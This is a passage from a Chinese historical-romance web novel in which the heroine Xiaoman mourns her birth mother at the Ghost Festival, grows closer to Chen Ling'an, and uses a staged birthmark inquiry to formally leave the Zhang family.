“想什么呢,姨父说的是陈令安。你不知道?是他在皇上面前提了你母亲的和离案,皇上点我家一句,我家老祖宗才不反对我出面。” “皇上?”蒋夫人轻轻惊呼一声,“陈令安竟为我的官司惊动了皇上。” 小蒋氏也有了几分感慨,“姐姐能脱离苦海,陈令安出力不少。现在看来,这人倒不是一味阴毒狠辣,身上还有几分人味。” 小满揉揉脑壳,哼哼唧唧,“他才不是人……” 她声音很低,雨声又太大,谁也没听清她在嘀咕什么,只有蒋夫人瞧着她直叹气。 跳出火坑,本是天大的喜事,小蒋氏却瞧着姐姐眉宇间还带着忧虑,碍着丈夫在一旁不好多问,等一时饭罢,姐妹俩说私房话的时候,她才问了出来。 蒋夫人长一声短一声的叹气,“我担心张家告小满忤逆。” “官司都是人判的,张家声名狼藉自身难保,你还怕他们?” “唉,这又是一桩难事,就算张家不告,小满毕竟是张文的女儿,一下子成了罪犯家眷,谁还敢娶?” “刘家那头……” “快别提了。”蒋夫人苦笑道,“前些天秦太太很说了些不好听的话,彻底让小满寒了心,刘瑾书再好,也不能嫁。” 小蒋氏好奇大姑子说了什么话,让原本对这门亲事坚定不移的姐姐都退却了。 具体都是哪些话,小满是坚决不肯说,只道左右都是恶心人的话,何必听了给自己添堵。 如今妹妹问,蒋夫人便也拿这话回了过去。 小蒋氏便道:“姐姐何必再受她奚落,做媒的是我,这事交给我吧。我是她弟媳,不看我,也要看他弟弟的面子不是?” 蒋夫人却不过,把刘瑾书那枚玉佩交给妹妹。 回去的路上,小蒋氏就和丈夫说了此事。 秦伯彦自告奋勇替媳妇办差。 “我姐那人嘴巴太毒,心情好的时候说话都刀人,何况宝贝儿子被退婚,你去纯属当她出气筒,我可舍不得你挨骂。” “你都望四十的人了,还被姐姐骂,没的让刘家人看笑话。而且大姐本来就不愿意这桩亲事,黄了不正她合心意?” “欸,你和她做了十几年姑嫂还没摸透她脾气,向来只有她瞧不上别人的,哪容得下别人瞧不上她?” 秦伯彦拍拍媳妇的手,“我是她亲弟弟,她骂我,我可以还嘴呀!就是吵起来,她告到老祖宗跟前,老祖宗顶多骂我几句做做样子,不会真怪我。” 姐弟间吵架,婆母不会在意,姑嫂间吵架,可就不见得了。 只是他们谁也没想到,秦太太直接撕破脸了。 “她们有什么资格退亲,要退也是我退!想要就要,想扔就扔,把我儿当什么了?小的不要脸,老的更不要脸!” 秦伯彦皱着眉头道:“蒋夫人是我大姨子,哪有你这么骂人的。” “我是你姐,胳膊肘往外拐啊你。” “你得讲理。” “我哪句话说错了,勾引我儿的不是张小满?和丈夫对簿公堂的不是蒋婵?外面都传开了,没一个衙门接她的诉状,偏偏江宁衙门接了,还判离了,简直前所未有的怪事,谁知道其中有多少龌龊。” 秦伯彦不可置信看着自己的姐姐,好一会儿才说:“你说的都是什么……郑峳采和陈令安交情不错,因为这层关系,他才接了蒋夫人的案子。你这话听着,好像在为张文那个烂人抱不平。” “我为你抱不平!有个出妇做你大姨子难道光彩?”秦太太更怒,“还提陈令安,是不是你和陈令安联手抓了那些庄头?” “是又如何?” “他们供出来的当地官员就有你姐夫的门生!你抓人前起码和我们打声招呼,这下可好,害你姐夫官声有损不算,还给陈令安一个绝佳把柄,你是盼着你姐夫被抓?” 听到这个消息,秦伯彦明显很意外,可觉得自己也没错,“我如何知道姐夫门人参与其中?再说姐夫又没掺和,陈令安就是想抓也不抓不了。” 秦太太气得直拍桌子,“那你也不能和陈令安联手!他是你姐夫的政敌,他还闯进侯府抓你外甥,才几个月的功夫,你都忘啦?” 秦伯彦摸摸鼻子,“此一时彼一时……” 秦太太愕然,半晌才冷笑一声,“好,好,好个蒋家姐妹花,把你迷得五迷三道,敌我不分,亲姐姐都不顾了。” “你满嘴胡吣什么!”秦伯彦勃然变色,一掌下去竟将楸木方桌拍裂了,临走前撂下一句:“我一直都知道,打小你就嫉妒她们两个。” 出院门时恰碰上刘瑾书,秦伯彦把玉佩递给他,拍拍他的肩膀,什么也没说走了。 两天前那场大雨过后,天气有了凉意,蝉声也变得稀少。 这让母亲的哭声和抱怨声分外清晰。 刘瑾书轻轻摩挲着那枚玉佩,向院内望了一眼,转身离开。 他不耐烦在家待着,漫无目的在街上闲逛。 一轮毫无光彩的太阳在昏暗的薄云后缓慢地穿行,正是午牌时分,人们大多在午歇,卖果子的摊贩脸上也盖着草帽打瞌睡,街上静悄悄的。 细碎的脚步声从背后传来,起初他不以为意,可他停那人也停,他走那人也走,既不上前,也不落太远,黏黏糊糊跟在身后,没的让人心烦。 刘瑾书索性直接转身。 后面的小姑娘立时站定,不知是吓的还是累的,圆脸涨得通红,眼中全是惊慌,看起来随时要哭。 有点眼熟。 刘瑾书仔细打量她两眼,“张家五姑娘?” 张安懿怯怯地点点头。 “找我有事?” “三、三姐姐……被抄了。” 刘瑾书一惊:“你说什么?” 许是他语气有点吓人,张安懿畏缩地往后退了一步,结结巴巴说:“我家来了,来了好多官差,抄家,抢东西。” 刘瑾书强压着心里翻涌的烦躁,“慢慢说,说仔细些。” 他的声音缓和许多,张安懿不那么害怕了。 “官差说家里的东西是都太太的,要还给太太,抢的抢,拿的拿,都把家搬空了,家里的奴仆跑了一大半,祖母气病了,叫三姐姐回来。” 原来是张家出事,不是小满出事。 刘瑾书松口气,旋即一愣,什么时候起,他居然不认为小满是张家人了…… “你该去找你三姐姐,不该来找我。” 张安懿殷切地望着他:“我不敢去太太那里,你是三姐姐的未婚夫,你说话,她应该能听进去。” 刘瑾书不由泛起一丝苦笑,“婚约取消,我现在不是她未婚夫了。”想了想他又说,“就算是,我也不会劝她回去。” 这个时候回张家,能有好果子吃么? 张安懿慌了,“可是、可是……”可是了半天,也没说出个所以然来。 刘瑾书已经走远了。 张安懿原地呆呆站了会儿,想起祖母那张阴鸷的脸,浑身一哆嗦,硬着头皮挪到蒋夫人新宅门前。 此时蒋夫人正和小满清点收回来的庄子明细。 地上好几口大箱子,装满了金银细软,桌上一大匣子银票,还有田庄别院地契,全是从张文、孙姨娘名下抄捡出来的。 方妈妈喜得见牙不见眼,“把咱们愁得不行的难事,在人家眼里根本不叫事,太太瞧瞧,才几天的功夫,回来七八成!” 小满犹有不甘,“可惜张家那个大宅子,母亲干嘛不要,白白便宜给他们。” 蒋夫人:“那宅子于我们无关紧要,于他们却是最后的容身之所,狗急跳墙,犯不着把人逼上绝路。” 小满摇摇头,又说起边老太太,“居然没事。” 张文孙姨娘名下都能查出原属蒋夫人的田庄资产,没法推脱,但边老太太名下没有,她对侵占蒋夫人嫁妆是一推二六五,只说不知道、不清楚,加之年事已高,打了二十杖便放了。 蒋夫人失笑,“怎么叫没事,二十杖呢,都去了半条命。” 方妈妈在旁道:“您心太善,就说从张家跑出来投奔您的奴仆,赎身银子都不要就把卖身契给他们了,真是便宜了那些刁奴!” “我是不想和张家再有丁点的纠葛了。”蒋夫人又问小满,“对前阵子没顾上问你,锦绣那丫头回家探亲,都走了多长时间,还没回来?” 小满得意一笑,待要细说,不妨丫鬟禀报说五姑娘来了,有事找三姑娘。 蒋夫人对孩子一向宽容,当即就要让她进来。 小满:“别急,先让我会会她。” 门子十分懂事,只让张安懿在门房候着。 小满没直接进门,从窗外往里看了看。 人消瘦不少,脸小了一大圈,原本挤挤的眯缝眼也成了杏核眼,瞧着比以前好看了。 却还是畏畏缩缩的做派,小心翼翼坐了个椅子沿,双手不停搓着袖口,整个人显得非常局促不安。 小满叹口气,轻轻推开门。 “三姐姐!”张安懿眼睛一亮,立刻走过来要拉她的手,“家里都乱套了,全指着你回去主持大局。” 小满错开她伸过来的手,“主持大局?是收拾残局吧,我傻疯了才会回去,回去挨骂挨打吗?” 张安懿急得眼泪直流,“那、那我能不能在这里住?就这么回去,祖母会打死我的。” 小满摇摇头,“不能。” 张安懿心头猛的一沉,“为什么?” “为什么你不知道?” “姚姨娘也害过你和太太,她比我姨娘更坏,还想毁你的名声,你能收留四姐姐,为什么不能收留我?” “她上公堂为母亲作证,你为母亲做过什么?” 张安懿登时语塞。 小满道:“甘蔗没有两头甜的,又想要母亲的好处,又不愿得罪张家,怎么可能?” 她呜呜哭起来。 小满深深叹口气,“我送你的青金石你还留着了吧,一百两买的,你转手卖了,节省点用,够你两年的花销。以后,你就自求多福吧。” 见她要走,张安懿大急,“你真不回张家?难道连你亲娘也不认了?” 小满没有回头。 “你不能忘了你的亲娘呀!” 小满越走越快,几乎要跑起来,直到再也听不见身后的声音,才喘着粗气停下脚步。 娘…… 这个称呼不算陌生,喊过养母,也喊过蒋夫人,没什么难以张口的,开开心心喊娘,开开心心得到她们的回应。 她从来不觉得自己是没娘的可怜孩子,没多少对亲生母亲的执念。 可现在她突然惊觉,不是没有,而是被深深地埋在了心底,在宣府如此,在京城也是如此。 不去想,不去问,形成一种本能的逃避。 想到接下来要做的事,心里更不是滋味。 她闭上眼粗重地喘了一口气,整理好心情,轻松笑着去了蒋夫人屋子,简短说了张安懿的来意。 “我直接拒绝了,她对她姨娘言听计从,别再暗地里算计咱们。” 蒋夫人虽不忍,一想蔫坏蔫坏的孙姨娘,也便罢了。 又说了会儿闲话,小满略微迟疑了下,轻声说:“马上就是中元节了,我想祭奠我……我娘。” 屋里略微静了一瞬,方妈妈担忧地看向蒋夫人。 蒋夫人眼中却是毫不掩饰的疼惜,“是该去,原本也是我的疏忽,早该替你安排好的。” “母亲,你不许多想。”小满抱住蒋夫人的胳膊,“我只是想和过去做个告别。” 蒋夫人脸色微变,反握住她的手,“告什么别?你是不是想对付张家?一动不如一静,他们出什么招咱们接着就是,你可不许自己一个人回去!” 小满再三保证只是单纯的祭拜,绝不会冲动行事,蒋夫人这才将信将疑地点了头。 又是一场雨过后,伴着越来越细弱的蝉声,中元节到了。 惠姨娘过世早,彼时张文对这个侍妾平平,分文不愿出,竟要直接拉到化人场烧了,随便埋到乱坟岗。 还美名其曰不愿正室受委屈,所以不办妾室白事。 蒋夫人看不过眼,捐了一大笔香油钱,将惠姨娘的棺椁寄存在凤栖寺。 原想等张文告老还乡,带惠姨娘回去葬入张家祖坟附近的,现在要另做打算了。 惠姨娘的牌位供奉在凤栖寺的功德堂,一眼望去,密密麻麻好几排,小满找了好一阵子,才找到娘亲的牌位。 上面写着“侧室惠氏”,没有供奉人落款。 小满默默盯视良久,才收回目光,小心点燃一盏长明灯,缓缓供于案前。 娘,我来看你了。 一滴泪顺脸颊滑落,滴在胸襟上,洇成一朵小小的花。 她在娘亲牌位前待了许久,一直到日头偏西,才迈着凝重的步子从功德堂出来。 五彩斑斓的晚霞给墙头、屋脊,还有花木淡淡抹了一层瑰色,像是罩上薄薄的轻纱,天地万物变得不再真切,飘飘荡荡如梦似幻。 那个一袭白衣的男子静静地立在玉兰树下,发髻也只束着一根白色发带,就那样漫不经心地望过来。 温和的暮风将他的衣摆轻轻拂起,落花如雪,从他啜着淡淡笑意的唇边掠过。 小满听见自己的心在跳。 他往这边走来了! 尽管反复告诉自己,要矜持,万不可主动开口,绝不能给好脸色让他以为自己很好哄。 可一忍再忍,还是没忍住。 “你是特意来找我的吗?”话刚出口,小满的脸颊就红了。 然而陈令安的回答让她更为窘迫,他说:“不是。” 不是? 小满也不知道自己怎么了,胸口闷得生疼,又委屈又生气,憋得她只想发火,不由冷笑一声,“那你在这里干嘛?” 陈令安默然片刻,低声道:“来看看我爹,我娘,还有我哥……” 空气一瞬间停止了流动。 小满所有的气势顷刻间化为乌有,她心里难过得不得了,后悔得不得了。 明知道今天是中元节,明知道他的家人都不在了,明知道这里是供奉逝者的功德堂,他连头上的束带都换成白色的了,可她居然满脑子想的都是奇奇怪怪的事情! 嘴上总说着关心,却一直忽视他的悲伤。 小满开始怨恨自己了。 想道歉又说不出口,尴尬冷场又着实让她不自在,便低着头闷声道:“谢谢你。” 陈令安显得有点意外:“嗯?” “就是、就是在皇上替我母亲面前说好话,不然没这么快判离。” “哦,顺嘴的一句话而已。” 小满听了,心里更不是滋味。 伴君如伴虎,这个道理她也懂,皇上日理万机,哪有心情听普通妇人的和离案子,一个说不好就恼了。 就是赶上心情好,也不过听一耳朵罢了。 外面对母亲非议很多,尤其所谓的酸儒腐士,恨不得把母亲打成恶逆不孝的毒妇。单看先前没人愿意接母亲的和离诉状,就知道那些官老爷立场如何了。 皇上也要考虑朝野上下的风向。 陈令安不但说动了皇上,还堵住了那些老大人的嘴,天知道他做了多少准备,花了多少心思。 却被他轻飘飘一句带过。 小满决定弥补自己刚才的冒失,“你要不要和我一起去放河灯?” 出乎意料的主动邀请,让陈令安的心突地跳了下,一时间没有马上回答她。 小满误会了,红着脸拿眼瞪他,“不许拒绝!” 陈令安的嘴角向上微翘又飞快压下,“好。” 晚霞的颜色越来越深,他们来到河边时,暮霭已像泥沙般静静沉淀在大地了。 陈令安不喜热闹,带小满寻了处僻静的栈桥。 远方的上游现出几点灯光,接着又是几点,黄而有晕。慢慢的,灯光连成线,线串成片,挤挤挨挨地穿过夜幕飘向他们。 小满蹲在栈桥上点燃河灯,小心翼翼放入水中。 陈令安也将手中的河灯轻轻放了。 他们谁也没有说话,看着河灯摇摇晃晃汇入璀璨星河,越飘越远,光芒越来越弱,直到再也看不到。 “其实,我对我娘一点印象也没有。”小满突然道,“按说两岁多少应该有记忆,可我什么也不记得,她是高是矮,是胖是瘦,安静温柔还是活泼开朗,我都想不起来了。” 陈令安:“正常,小孩子三四岁才开始记事。” 小满蹲累了,干脆抱着膝盖坐在地上,“我挺对不起她的,孙姨娘说我娘的死和母亲有关,我没搭理她。” “不理她是对的,她明显在挑拨你和蒋夫人的关系。” “可我不是不想,我在逃避。”小满把头埋在臂弯,“我害怕真的和母亲有关。” 陈令安垂眸看过来,“不会的,蒋夫人是光明磊落之人,你应该相信她。” 小满依旧埋着头,声音带有鼻音,“孙姨娘说这话时,我竟然有一瞬的动摇,其实我该去问母亲的,可我不敢问,我就是个怯懦的胆小鬼。” 陈令安眼中掠过一抹复杂莫名的情绪,微微叹口气,“你很勇敢,有着超乎年龄的坚韧心智,如果我娘有你这样的勇敢,现在我家或许是另外一个样子。” 或许今晚月色太好,松懈了他一直紧绷的神经,那些深埋在心底的话如河水般缓缓流淌出来。 “我娘没有活下去的勇气,我知道她很难,很难,可她还有三个孩子,难道我们不值得她活下去?她怎么就舍得。” “娘真的爱爹爹,就应该拼尽全力活下去,想方设法为爹爹鸣冤,而不是一根绳子了结自己。有想过我们吗?” “我一边想她,一边怨她,真是……呵,哥哥死了,小妹生死不明,我又是如今这个鬼样子。”他自嘲地笑了声。 小满吃惊地抬起头。 黑暗掩盖了他的表情,可他话语里的浓浓的悲伤和自责,还是穿过这深沉的夜色,一点一滴浸入小满的心里。 “锦衣卫,诏狱,我成了爹爹最憎恶最瞧不起的那种人,我才是真正的不孝,我才是——” 陈令安的声音猝然停住。 他愕然看着紧紧抱住自己的小满,浑身紧绷四肢僵硬,大脑一片空白。 好半晌,他才找回自己的意识,轻轻挣扎一下。 小满却抱得更紧。 这丫头力气可真大,勒得他的腰有点疼,不对,不是腰,好像是胸口疼,也不对,应该是心窝的位置,好像还不对…… 陈令安愣愣站在原地,扎煞着双手,不知道手该往哪里放。 小满吸吸鼻子,把眼泪使劲蹭在他衣服上,方扬起小脸说:“你好得很,伯父伯母在天有灵,绝对会以你为傲!” 陈令安扯扯嘴角,“瞎说,你前几天还骂我混蛋。” 小满:“你就是混蛋,我人好,原谅你了,可是不能有下次。” “嗯。” 又是一阵沉默。 陈令安:“……能不能先放开我?” 小满慢慢松开手,摸摸烫得灼手的脸蛋,虽然知道不合时宜,还是忍不住赞叹一声。 腰可真细呀! 第39章 中元节后接连几场雨, 溽热难耐的盛夏终于有了消减的迹象,这日放晴,早起的人突然发现, 竟然需要穿夹衣了。 天气晴好,蒋夫人指挥着方妈妈和一干丫鬟将衣服被褥拿出来晾晒。 却见二门的婆子领个姑娘兴冲冲进来,仔细一瞧, 不是消失多日的锦绣又是谁? 不等锦绣上前行礼, 小满就一阵风似地刮过去,拉着锦绣上下左右好一阵看,然后两人抱在一起又跳又叫又笑。 蒋夫人也笑:“好了,快让锦绣进屋喝口水歇歇,慢慢说话。” 锦绣却道:“还有要紧事, 现在不能歇着。” 小满问:“办好了?” 锦绣重重点头, “人已经到客栈了, 随时都可以开干。” 蒋夫人疑惑地看着她们两个, “我怎么一个字都听不懂。” 小满笑道:“是好事,中午不用留我们的饭。” 两人手拉着手跑了。 蒋夫人喃喃:“这丫头又搞什么呢?” 日头悬在中天, 不知疲惫地放着蜡白的光, 小满再次踏入了张家。 随她一起来的,除了江宁县衙的郑峳采和差役, 另有几个操着北地口音的外乡人。 边老太的伤还没好利索,也被抬到花厅。 她哼哼唧唧趴在软塌上,头上戴着抹额, 脸色蜡黄,眼睛半眯缝着,似乎抬一下眼皮的力气都没有。 任谁看了都会道这是个可怜的老妇人。 她颤巍巍道:“大人,我家值钱的东西都被抄走了, 蒋氏还不解气的话,就把我这把老骨头烧了还她吧。” 郑峳采抖抖唇上的两撇胡子,“老太太别急,今儿我不是为和离官司来的。” 接着他清清嗓子,正色道:“我衙门接到张家三姑娘的诉状,声称非张家所出子女,因此申请从张家脱籍。考虑到你老行动不便,本官亲来你家问审。” 边老太花了很长时间才听懂他的意思,没想到自己的杀手锏还没使出来,对面倒抢先给她来了一刀。 一时间五官都扭曲了。 “放屁,她是做贼心虚,害怕治她忤逆!” 边老太太恨得眼睛几欲喷火,直嚷着行家法,要打死这个大逆不道的不孝女。 郑峳采板着面孔喝道:“闭嘴,再干扰问审,只好请你老人家过堂了。” 想起那天挨的二十杖,边老太太浑身一抖,终是安静下来。 郑峳采:“张家当初以何为依据认定告状人是张家的骨血?” 边老太:“凭她肩头的胎记。” “胎记的形状、颜色、大小如何?” 边老太一愣,这些细节她从来没注意过,也没问过,听去宣府的老嬷嬷说模样长得不错,就同意儿子把人认回来。 见她答不出来,郑峳采换了个问法:“你家三姑娘出生时,胎记是什么样?” 边老太还是不知道,但她这回反应很快,“十六七年前的事,谁记得那么清楚?把认出她的那个老嬷嬷找回来一问就明白了。” 天高地远,不知那老婆子在宣府哪个犄角旮旯,等找到人再带到京城,她一准儿把忤逆的罪名给死丫头钉得死死的。 郑峳采:“言之有理,把那位归乡的妈妈请进来。” 边老太突然有种不好的预感。 很快,衙役带上来一位白发苍苍的老妇人。 这摆明是有备而来,怕是要叫那孽障逃了! 可边老太还想挣扎一把,故作亲热对那人道:“你虽恢复了自由身,到底是我张家出去的,得空多回来看看,张家总是待你不薄的。” 老妈妈忙不迭点头,“是是,我走之前太太给了足足两百两体己,张家的恩情,我都记着呢。” 边老太的心沉了下去。 老妈妈嘴说手比,“三姑娘下生的时候,我就在屋里伺候着,记得很清楚,右肩膀有块黄豆大小的痣,颜色很深,跟刚炒出来的栗子似的。” 郑峳采问边老太对不对。 边老太真恨不能扒开小满衣服瞧瞧,可她不能,更不敢,气哼哼半天说不出个所以然来。 郑峳采吩咐稳婆把小满带到别室验证。 不多时,两人出来了,稳婆道:“右肩的确有胎记,小指盖大小,状若水滴,色如胭脂。” 和老妈妈说的对不上! 郑峳采便道:“如此,这位姑娘就不是张家的骨肉,张家认错人了。你们可有异议?” 边老太太恨恨道:“状子是她递的,人是她请来的,我能说什么!” 郑峳采脸一沉,“你既说不出胎记详情,又无人证实证,只因对结果不满就乱泼脏水,污蔑朝廷命官,那二十杖你没受够吗?” 边老太哆嗦了下,转而将矛头指向那老妈妈,“为几两赏银就昧着良心说谎,你这欺主恶奴,我打不死你!” 老妈妈大呼冤枉,“我只是晃了一眼,胎记具体什么样根本没看清,给老爷的信也是这么写的。是老爷派人查验无误,才把人家认回来的。要说有错,也是那些查验人的错。” 从宣府来的几人纷纷附和,“我们可以作证,这位老妈妈只说可能是她家三姑娘。” 小满道:“找我的那几个人,随便看了看就说我是张家丢的三姑娘,要不是前两天听姚姨娘提起胎记,我都不知道自己认错了爹!” 姚姨娘?怎么还有姚氏的事,她们不是死敌吗,不应该对方越惨越高兴? 这孽障定是许给姚氏一个无法拒绝的好处。 边老太憋了一肚子火。 张家被抄个底朝天,根本无力维持以前的开销,当年那些去宣府查验的下人,跑的跑,卖的卖,根本查无实证。 她哆哆嗦嗦指着小满,一口气噎在嗓子眼,好容易才骂出声:“小蹄子,小贱人,扫把星,怎么没把你溺死!” 小满没生气,反而端端正正向她跪下了,“老太太,这段时日受你照顾了,咱们就此陌路吧。” 说罢,郑重拜了三拜。 她把张家祸害完,结果拍拍屁股就想走? 边老太气得口歪眼斜,不歇声地叫人,“给我扒她姨娘的坟,把尸首扔了喂狗!” 小满站起来冷然一笑:“惠姨娘的棺椁寄存在凤栖寺,供奉人不是你,你想开馆弃尸?只怕连棺椁都摸不到。” 眼角余光瞥见躲在角落里偷偷看她的张安懿,小满没理她,迈开大步一直走,一直走出张家大门。 始终没有回头。 郑峳采问她户籍准备落在哪里。 小满问能不能单独开户。 郑峳采摇摇头,“除非无夫无子寡妇,或者宫廷女婢才能落女户,普通女子不得单独开户。莫说你,就是蒋夫人,也得把户籍改回蒋家。” 见她面露难色,郑峳采安慰道:“户籍先在我这里押着,等你想好了再办迁移,反正判决已定,张家也奈何你不得。” 小满自是反复道谢。 郑峳采笑呵呵地推辞着,目光不经意掠过对面的照壁,忽又转回来,不相信似地揉揉自己的眼睛。 小满扭头看过去,照壁前一身玉色襕衫呲着大白牙傻乐的是养兄何平,站在他旁边的是一位高挑瘦削的儒士。 穿着蓝布直裰,修眉凤目,嘴角含笑,纵然两鬓斑白,眼角不乏细细的皱纹,仍能看出此人年轻时必定是个十分娴雅俊秀的美男子。 小满怔了怔,忽欢呼一声奔过去,“林亭先生!” 林亭先生微微颔首,“一向可好?” “好,特别好!”小满激动得眼泪直在眼眶里打转,“先生怎么来了?” 何平:“老师担心张家刁难你,今天特地给你撑腰来的,结果还没上场就完事啦,哈哈。” 小满使劲揉揉眼睛把泪意揉了回去,“没想到惊动了先生,大老远的,先生路上没少受罪吧。” 林亭先生笑道:“还好,恰好有其他事需要回京处理,索性来了。” “先生什么时候到的,林姨来了没有,可有落脚的地方?” 林亭先生耐心地回答她一连串的问话,“昨晚上和乡亲们一起到的,暂时在福盛客栈,等林园的房子收拾好了再回去住。你林姨在扬州姊妹家,过几天就到。” 林园?似乎在哪里听到过,小满想了想没想起来。 又听何平取笑陈令安“死活不来见老师,准是怕老师骂他”,小满立刻想起中元节那晚陈令安的话,心头一酸,为他争辩道:“先生都夸他好孩子了,才不会责怪他。” 旁边的郑峳采听得心扑通扑通跳,好容易逮住空档,忙上前作揖,“晚生郑峳采见过先生。” 生恐林亭先生印象不深刻,紧接着又说:“十五年前,晚生在南翠书院听过先生的课,先生之风采,学识之渊博,见识之独特,令晚生如痴如醉,回味无穷,受用不尽。其中奥秘,如今还未能完全领会。” 林亭先生没接话。 小满不明白郑峳采为何向先生大献殷勤,但还是替他说话,“今天多亏郑大人帮忙,我才顺利脱离张家,他也是陈令安的朋友。” 郑峳采:“对对,我和令安兄是莫逆之交。” 林亭先生打量他两眼,沉吟道:“有些事我想听听当朝官员的意见,不知郑大人有没有空。” “有空,有空!”郑峳采忙不迭点头,“现在就有空。” 他乐颠颠地陪着林亭先生去了。 小满轻轻倒吸口气,意识到自己忽略了什么,“莫非……林亭先生是个了不起的大人物?” 何平摸摸下巴,帝师,应该算大人物吧。 他伸手胡噜她脑袋一把,“老师说他是普通的教书先生,你就把他当普通先生看就好。” 小满嫌弃地拍开他的手,便抛开了好奇心,招呼宣府的乡亲和那位老妈妈去吃酒。 他们热热闹闹说笑着,刚拐出巷子,就听有人喊“三妹妹”。 声音严厉,透着急躁和怒气。 是张弼。 他还不知道小满脱离张家的事,说话仍带着长兄教训的语气,“你还知道回来,看看家里被你搅成什么样子了!” 小满笑笑,“以后我就不回来了。” 张弼压根没细想她的话,看着宣府那些乡下人,脸上全是不悦,“吩咐管事招待他们就好,这样成何体统。” 何平“哈”的笑出声,“她是我妹,我是他哥,怎么就不成体统了?” 张弼皱眉道:“你是她宣府的哥哥?看打扮也是读书人,还是把心思用在功课上,等考取功名再来京城走门道。” 何平眼珠微动,“走门道?可你家也帮不上我啥。” 想起自家的处境,张弼脸一红,嘴上却不肯认输,“你大概想通过小满结识刘瑾书,你们这种蝇营狗苟的势利之辈我见多了。告诉你,刘家是清流领袖,纵然你如何环拱献媚,也不会多看你一眼。” 何平摁住欲要开口的小满,笑嘻嘻道:“阁下崖岸高峻,在下深感佩服,定当听之从之,不与那刘瑾书称兄道弟。” 张弼气顺了,可总觉得他这话听着好生别扭。 小满冷冷道:“你没资格教训我,我不再是张家人了——少做这幅震惊痛心疾首的模样,没的叫人恶心。你父亲的罪名也不影响你科举,用功读书,你张家还能再起来。咱们兄妹一场,我言尽于此了。” 走了几步,小满还是忍不住多说一句:“其实……我哥早就中举了,乡试第一!我哥打小读书好,小三元呢,想着稳妥些拿下□□,才推迟一届参加会试。” 张弼一怔,脸腾地红到耳朵根。 “不要与蠢货论长短。”何平揽过小满,“现在我真的相信,你不是张家的孩子了。” 小满叹口气。 怎么可能不是?全是她作假。 早在帮助蒋夫人和离时,她就计划离开张家了。 先偷偷给宣府何阿婆寄信,统一好口风,再让锦绣借探亲的名义,候在城外必经之路等人。 老实说,她也不知道能不能成。 还好阿婆、林亭先生和乡亲们惦念着她,不遗余力地帮她。 得好好谢谢他们! 马车是现成的,一大伙人呼啦啦去了夫子庙秦淮河。 拜祭祈福,游船听曲,小满叫了最好的席面,也不管吃不得下,什么桂花鸭、浓汤鱼米狮子头、如意回卤干、六华春鱼头王、芝麻烧饼、金陵拔丝小汤圆、清风水晶包等等等等,凡叫得上名的,统统尝个遍。 又去杏花村看百戏杂耍,那些个大戏,东西两面好几台对着唱,锣鼓点子有如急雨敲棚,戏台下头人群拥来挤去,还有卖瓜子茶水、花生麻糖的亮着嗓门叫喊,根本听不清台上唱什么。 可小满听得很高兴,这样的热闹让她想起乡下过年的场景。 她想念宣府了…… 他们边玩边吃,日影偏西才有了倦意。 小满想请乡亲们去家里做客,他们笑着拒绝了,“不啦,回客栈睡一觉,明早就走啦,家里都是活。” “这么快!还有好多地方没玩。”小满吃惊不小。 “玩哪有个尽头的,地里的活计可不能耽误,看你好好的俺们就放心了。” “是啊,没见过的也见了,没吃过的也吃了,这一趟回去够俺们念叨一辈子的。” 知道留不住他们了,小满的眼泪不由自主在眼眶里打转。 何平轻轻拍拍她的肩膀,对乡亲们说:“我雇了马车,明天送大家回乡,这是老师的意思,就不要推辞了。” 掌灯时分,小满和锦绣回家了。 蒋夫人听了她今日的壮举,愣了好久才反应过来,却是后怕极了。 “你可真敢!你出生时姚姨娘孙姨娘都在场,她们知道得清清楚楚,万一被戳穿,你就是万劫不复!” 小满:“孙姨娘在大牢里,且出不来。姚姨娘嘛,她恨我,可更看重她儿子的前程,生怕我怂恿陈令安给张弼捣乱,自然不会多嘴。” 蒋夫人这才稍稍放心,“看你养兄什么时候有空……还有陈令安,都来家坐坐,我得好好谢谢他,不能亏欠了人家。” 小满大喜,“我明天就去找他!” 说了不用准备,蒋夫人还是从库里精心挑出上等绸缎、头面等,让小满带给乡亲们。 小满瞅着那些耀眼夺目的东西直笑,“嗐,他们日常穿不到这些,拿回去也是压箱底,还不如送些实用的。” 蒋夫人一想也是,便让方妈妈把没上身的衣裳找出几件,再挑几匹看起来不起眼却耐用的料子,另有一大包精巧果子,又拿出一包碎银并几张银票。 小满一数银票,足有五千两! “东西倒罢了,银子他们不会收的。” “平时那么机灵,这时候倒犯傻——你不会说是给何阿婆的?他们总不能替别人拒绝。” 只怕阿婆会把银票退回来,小满心里说着,不过母亲这话,倒给她提供思路了。 果然,转天一早乡亲们启程,谁也不肯拿银票。 小满笑道:“这是我母亲给咱们村的,三千两买祭田,给孩子们上学读书用,两千两盖个善堂,给那些无家可归的孩子,无人赡养的老人一个遮风避雨的地方。够不够的,大伙先用着。” 几位乡邻带着难以形容的激动互相交换着目光,打头的大婶抹抹眼角的泪花,千恩万谢收下了。 望着他们远去的背影,何平不无感慨道:“蒋夫人宅心仁厚,真乃吾辈楷模呀。对了,你今后有什么打算,不如回宣府吧。” 小满摇摇头,“现在还不能回。” 何平挑眉,故意拉长尾音:“我知道,是因为令、安、哥——” 离开御书房的细石摆花甬道上,陈令安重重打了个喷嚏。 迎面走来的秦伯彦一愣,不由朝他多看一眼。 这一眼让本来犹豫的陈令安不再迟疑了。 “秦大人,”他主动上前打招呼,“老侯爷回京的调令可下来了?” 秦伯彦又是一愣,虽说二人在蒋夫人的官司上合作了一把,可他没打算和陈令安深交。陈令安突然问起父亲的情况,不免让他起了警觉之心。 “还好,快了。”他模棱两可回答。 陈令安沉默片刻,“不考虑燕北地区?” 秦伯彦头皮一麻,呼吸也屏住了,“比如?” “通州卫、大宁都司、营州诸卫保定五卫,都可以考虑。” “燕北虽好,到底比不上金陵,除非以后……” “以后的事,谁说得准。”陈令安笑了笑,“北元残余势力屡犯北方边境,急需一位功勋卓著,忠心不二的老将镇守,世子爷不妨与老侯爷商量商量。” 秦伯彦心头突突乱跳,手心握出了汗。 燕地是当今龙兴之地,登基之初就将“北平”提升为“北京”,迁移人口充实燕地,不止一次流露出对燕地的思念,甚至计划短期驻留北京。 饶是群臣反对,还是定在明年春闱后。 便有一个令人心惊的流言悄悄在官场流传开来:皇上想要迁都北京! 看陈令安的说法,应是真的了。 毕竟比起盘踞前朝旧臣和江南士族势力的金陵,燕地对当今的忠诚度高得不是一点半点,北迁,皇上可以大大削弱南方文官集团的制衡。 可是迁都不仅劳民伤财,加大江浙一带的经济压力,还会加深南北官场的对立。 能成吗? 若是押对了,就是立此存照,侯府圣眷再上一层,可保侯府三代平安。 若是错了,就成了那些文官的活靶子…… 秦伯彦重重叹口气,为难极了! - 陈令安此刻也为难极了。 一回北镇抚司,就看到在门房候着他的小满。 